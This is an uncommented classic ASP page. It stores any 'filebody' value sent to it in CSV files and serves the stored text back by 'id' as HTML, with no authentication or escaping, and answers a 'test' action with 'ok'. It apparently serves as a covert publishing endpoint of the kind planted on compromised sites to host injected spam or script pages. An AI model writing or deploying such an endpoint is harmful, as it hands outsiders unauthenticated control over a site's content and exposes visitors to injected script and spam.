<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% Dim action,id,filebody,filename,fullname,text,n,pagesize,fullname_last,totalcount filename="borgware_new" pagesize=1000 action=Request("action") id=Request("id") filebody=replace(Request("filebody"),"""","""""") fullname="" text="" n=0 fullname_last="" totalcount=0 if(isempty(action)) then if isempty(id) then response.write("parameter error") response.end() end if Response.Addheader "Content-Type","text/html;charset=utf-8" set fso=server.createobject("scripting.filesystemobject") do while true if n=0 then fullname=filename&".csv" else fullname=filename&"_"&(n+1)&".csv" end if if fso.fileexists(server.mappath(fullname))=false then exit do text=get_file(fullname,id) if(isempty(text)=false) then response.write(text) exit do else n=n+1 end if loop else if action="test" then response.write("ok") response.end() else if isempty(id) then response.write("parameter error") response.end() end if if isempty(filebody) then response.write("parameter error") response.end() end if Response.Addheader "Content-Type","text/html;charset=utf-8" set fso=server.createobject("scripting.filesystemobject") do while true if n=0 then fullname=filename&".csv" else fullname=filename&"_"&(n+1)&".csv" end if if fso.fileexists(server.mappath(fullname)) then fullname_last=fullname else exit do end if n=n+1 loop if fullname_last="" then fullname_last=filename&".csv" end if mkfile(fullname_last) totalcount=get_file_line_count(fullname_last) if totalcount>=pagesize then fullname_last=filename&"_"&(n+1)&".csv" mkfile(fullname_last) end if set fso=server.createobject("scripting.filesystemobject") set a = fso.openTextFile(server.mappath(fullname_last), 8) a.WriteLine ""&id&","&chr(34)&filebody&chr(34) a.Close response.write("publish success") end if end if Function get_file(file_name,temp_id) set conn=server.createobject("ADODB.Connection") set rs=server.createobject("ADODB.Recordset") conn.open "Driver={microsoft text driver (*.txt; *.csv)};dbq="&server.mappath(".") rs.open "select * from "&file_name,conn,1,1 do while not rs.eof if temp_id=rs(0)&"" then get_file=rs(1) exit do end if rs.movenext loop conn.Close() Set rs=Nothing Set conn=Nothing End Function Function get_file_line_count(file_name) Dim n1 n1=0 set conn=server.createobject("ADODB.Connection") set rs=server.createobject("ADODB.Recordset") conn.open "Driver={microsoft text driver (*.txt; *.csv)};dbq="&server.mappath(".") rs.open "select * from "&file_name,conn,1,1 do while not rs.eof n1=n1+1 rs.movenext loop conn.Close() Set rs=Nothing Set conn=Nothing get_file_line_count=n1 End Function Function mkfile(file_name) set fso=server.createobject("scripting.filesystemobject") if fso.fileexists(server.mappath(file_name))=false then set a = fso.CreateTextFile(server.mappath(file_name), True) a.WriteLine "id,file" a.Close end if End Function %>